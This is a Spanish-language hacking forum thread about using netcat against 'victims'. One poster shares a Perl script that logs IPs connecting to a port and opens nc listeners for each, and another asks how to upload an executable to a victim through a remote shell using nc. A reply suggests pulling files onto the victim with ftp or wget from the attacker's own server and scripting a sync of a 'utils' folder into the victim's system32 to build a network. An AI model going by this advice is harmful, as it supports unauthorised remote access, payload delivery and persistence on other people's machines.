Jugando con netcat

Iniciado por WHK, 25 Marzo 2007, 03:17 AM

0 Miembros y 3 Visitantes están viendo este tema.

Kont

podria utilizar netcat en una red wireless?? es decir yo me conecto desde una laptop utilizando la tergeta de red inalambrica, y las demas host no utilizan la tarjeta inalambrica si no que se encuentran conectados mediante cable, podria obtener una shell en las maquinas conectadas por cable??

gracias.

tyldan

Wueno, acabo de hacer un Programa en Perl para "eschuchar" una puerta y ver los IP que intentan conectarse.
Despues el programa llama el netcat con estos parametros:
" start nc -L -vv -p "puera" -n "IP"
Si NO tienes el netcat en System32 no sirve
Si tienes el Netcat en system32 pero no se llama  nc.exe no sirve igual (entonces tienes que correger el nombre)
Para ejecutar ese programa tienes que instalar un interprete Perl (Active Perl o lo que sea) y poner sobre la consola "perl NombrePrograma.pl puerta"
Aqui le dejo el programa:
#!/usr/bin/perl

use IO::Socket;


my $port = shift or die "Uso: $0 <puerta>\n";



while(1){

system("cls");

print "\nInserta cuantos minutos quieres escuchar: ";

my $servsock = new IO::Socket::INET(
        LocalPort => $port,
        Proto => 'tcp',
        Listen => 1,
        Reuse => 1,
) or die "Impossible crear el socket: $!\n";

my $temp=<STDIN>;
my $temp2=$temp*60;

$data=(time()+$temp2);

print "\nEscuchando sobre la puerta ".$port."...\n";


$c=0;

while ($data >= (time())){
 
  $f=0;

  my $sock=$servsock->accept();

    for ($i=0;$i<$c;$i++){
      if ($sock->peerhost()==$DB[$i]){
         $f=1;
      }
    }
   
    if ($f==0){
      push (@DB,$sock->peerhost());
      $c++;
    }
  close ($sock);
}
chomp($temp);
close($servsock);
print "\nEn estos ".$temp."minutos, los IP que intentaron conectarse son:\n";

my $sis;

for ($i=0;$i<$c;$i++){
  $temp2=$i+1;
  print "\n";
  print $temp2;
  print "-";
  print $DB[$i];
}
my $scelta= "s\n";

while ($scelta eq "s\n"){
print "\n\nInserta el numero (indice) del ip que quieres hacer conectar:";
$temp=<STDIN>;
chomp ($temp);
$temp=$temp-1;
$sis="start nc -L -vv -p ".$port." -n ".$DB[$temp];
print $sis;
system ($sis);
print "\nQuieres hacer conectar otro IP? (s/n):";
$scelta=<STDIN>;
}
for ($i=0;$i<$c;$i++){
pop(@DB);
}
}

tyldan

Tiene un pequenito problema.
Si por ejemplo no tienes victimas que intentan conectarse el programa espera un tempo infinito. (pq no se utilizar los Forks)

D4RIO

Al reves, el problema de no utilizar fork es que si intentas escuchar con varias victimas no podrás hacerlo, solo una a la vez hasta que finalice la ejecucion de system por salir nc de su ejecucion. De todas formas todo el code está medio dudoso, poco práctico y muy poco perlero... como escrito a las apuradas. Por dar un ejemplo:

Código (perl) [Seleccionar]
print "\nInserta cuantos minutos quieres escuchar: ";

my $servsock = new IO::Socket::INET(
        LocalPort => $port,
        Proto => 'tcp',
        Listen => 1,
        Reuse => 1,
) or die "Impossible crear el socket: $!\n";

my $temp=<STDIN>;



En esa parte, si new IO::Socket::INET() falla y el or pasa al otro lado con el die, tu programa pedira "Inserta cuantos minutos quieres escuchar: " y luego, así como así... CRASH!

a demas de my $temp=<STDIN>, que te dejara un fin de línea, si no me equivoco.

esta otra parte tambien me resulto dudosa (Tal vez por el estado somnoliento):

Código (perl) [Seleccionar]
my $temp=<STDIN>;
my $temp2=$temp*60;

$data=(time()+$temp2);


y al final:
Código (perl) [Seleccionar]
for ($i=0;$i<$c;$i++){
  $temp2=$i+1;
  print "\n";
  print $temp2;
  print "-";
  print $DB[$i];
}


se usaria un foreach porque el objetivo es recorrer el array. Por ultimo podrias evaluar el uso de matrices asociadas (en jerga perlera: Hashes) para simplificar el logging de las conexiones.

Se ve que tenes buena base de programación, pero no usas las practicidades de Perl.

Y un ultimo consejo: Si te gusta Perl deja de una vez a Microsoft y venite para Linux, donde Perl esta en su salsa.
OpenBSDFreeBSD

tyldan

#494
Yo programo en C pero no se utilizar los Sockets,
por eso hize un programa en Perl, porque me parecia mas facil.
El problema es que llevo 5 dias "leyendo" el Perl (pues.. empeze desde zero)
por eso no soy muy pratico y programando casi siempre en C, no me doy cuenta de algunas cosas (por ejemplo utilizando el for y no el foreach).
Si alguien puede mejorar el codigo que lo haga,
simplemente necesitaba algo para no cambiar puerto cada vez y mi intento era ver los ip de las victimas y conectarme una a una.

Citar
Al reves, el problema de no utilizar fork es que si intentas escuchar con varias victimas no podrás hacerlo, solo una a la vez hasta que finalice la ejecucion de system por salir nc de su ejecucion

Mi llamada de sistema es un start, osea abre otra ventana, entoces el system acaba en un Clock.


Citara demas de my $temp=<STDIN>, que te dejara un fin de línea, si no me equivoco.

si pero eso no influje sobre la convercion, hize pruebas.

Citarse usaria un foreach porque el objetivo es recorrer el array. Por ultimo podrias evaluar el uso de matrices asociadas (en jerga perlera: Hashes) para simplificar el logging de las conexiones.

de eso no me di quenta, pero no es fondamental.
[voy a leerme algo sobre los hashes  ;D]

Gracias por tus comentarios, se vee que tienes experiencia pero soy un newbee del perl.

D4RIO

No te creas que llevo mucho tiempo en Perl, pero mi experiencia es porque desde que empece hice lo mejor:

- Lei lo que más pude de las manpages de Linux
- Leí codigo de otros a más no poder
- Lei dos o tres manuales de referencia
- Programe cuanta pavada se me ocurrio para adquirir experiencia

Por cierto, en C++ es más simple manejar los sockets que en C.
OpenBSDFreeBSD

chalo11

hola amigos :D saben tengo un problema, que al momento de subirle un archivo a la victima, desde la chell remota obtenida, lo hago con el siguiente comando

nc -vvlp 123 > archivo (ese comando desde la chell remota)

y luego en mi maquina,despues de hacer un DIR para buscar el archivo a subir coloco el siguiente comando:

nc ipvictima 123 < archivo.exe (maquina atacante).

mi problema es que al momento de ir a verificar el archivo subido este solamente tiene el nombre.exe y con un peso de 0 bytes y como saben no se puede ejecutar.
que error estoy cometiendo? ojala me puedan ayudar.

PD: todo el procediminto de obtener la chell  lo hice desde mi misma maquina 127.0.0.1 utilizando el puerto 6000. sera este el error? o acaso igual deberia subir el archivo con su respectivo peso?   

D4RIO

Usa ftp en el shell remoto para bajar contenidos que previamente alojaste en cualquier lado (puede ser tu mismo ordenador) y se comparten por ftp (con un ftpd), y asi le podras pasar el wget. Con el wget podras bajar lo que quieras y cuando quieras incluso desde HTTP.
OpenBSDFreeBSD

chalo11

buena compa gracias por tu ayuda lo unico si que no entiendo mucho lo del  wget  ;D me podrias explicar que es? o como se utiliza.

bueno ....de nuevo gracias por tu auyda y tiempo.  :D

D4RIO

googlea un poco... wget es una de las herramientas más usadas en gnu/linux (de hecho es software GNU) y tiene un porte a windows. Como tan usada herramientas cuenta con su manpage y mucha documentacion en la red, aunque básicamente la podes usar como: wget http://tudominio.com/archivo a descargar y así podes combinar eso con el uso de un servidor en tu máquina (como Apache o HFS) para sincronizar los archivos que desees (pe: creas una carpeta "utils" en tu máquina y haces un script en la máquina ajena que mantenga todo el contenido de "utils" en el system32 de la máquina ajena. despues un sistema de protección propia y yá comenzas a armar tu red, eso si... si lo haces sin el consentimiento ajeno te atenes a las consecuencias)
OpenBSDFreeBSD